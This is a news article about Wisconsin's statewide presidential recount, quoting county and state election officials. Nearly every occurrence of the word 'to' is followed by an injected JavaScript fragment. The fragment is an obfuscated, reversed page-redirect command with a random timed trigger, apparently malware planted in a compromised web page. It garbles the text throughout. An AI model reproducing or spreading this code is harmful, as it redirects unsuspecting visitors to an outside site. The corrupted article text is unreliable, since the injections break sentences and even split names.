Madison, Wis – Wisconsin election officials were caught off guard when Green Party presidential candidate Jill Stein requested a statewide recount of the presidential election.

“We were surprised,” County Clerk Scott McDonell said. “And that’s part of what put us on the pinch here is that we haven’t had as much time tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prep…organize…schedule”

Stein and her campaign are concerned that the voting machines used in Wisconsin were hacked. So they gave the state three and a half million dollars tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do the recount.

“The one blessing is since it’s paid I’m able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to recruit people and pay them that’s helpful,” McDonell said.

McDonell now has 45 experienced election workers assisting him. They’re working 16 hours a day tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to recount the more than 300 thousand ballots that were cast in Dane County.

If they don’t finish by Tuesday it will be up tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to congress tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to decide who won the state of Wisconsin.

Despite the pressure Reid Magney the spokesperson for the Wisconsin Elections Commission sees this as an opportunity.

“This is our chance tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to shine. Election officials do all of this work tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make sure everything comes out right. That we get accurate reflection of what the public’s will is. A recount is a chance tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prove that what we did really worked,” Magney said.

Nancy Bryan from the Stein and Clintobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton campaign are happy with the way things are going.

“I’m very impressed with how well organized it seems tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be. And how well the clerk and his assistants are managing the whole process. They’ve done a fine job of briefing everybody and keeping things focused and in control,” Nancy Bryan said.

And although election officials and campaign representatives are pleased with the progress of the recount. Some members of the general public don’t feel the recount employees are working hard enough.

“Sometimes it looks like the people are standing around and not always doing a lot and people want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make judgments about that,” Magney said. “But I think if you’re there and you understand what’s going on sometimes in any government operation there’s always a little bit of hurry up and wait.”

And that’s exactly what Mcdonell and the other county clerks will have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do. Hurry up and finish the recount by Tuesday then wait and see what happens with the recounts in Michigan and Pennsylvania.
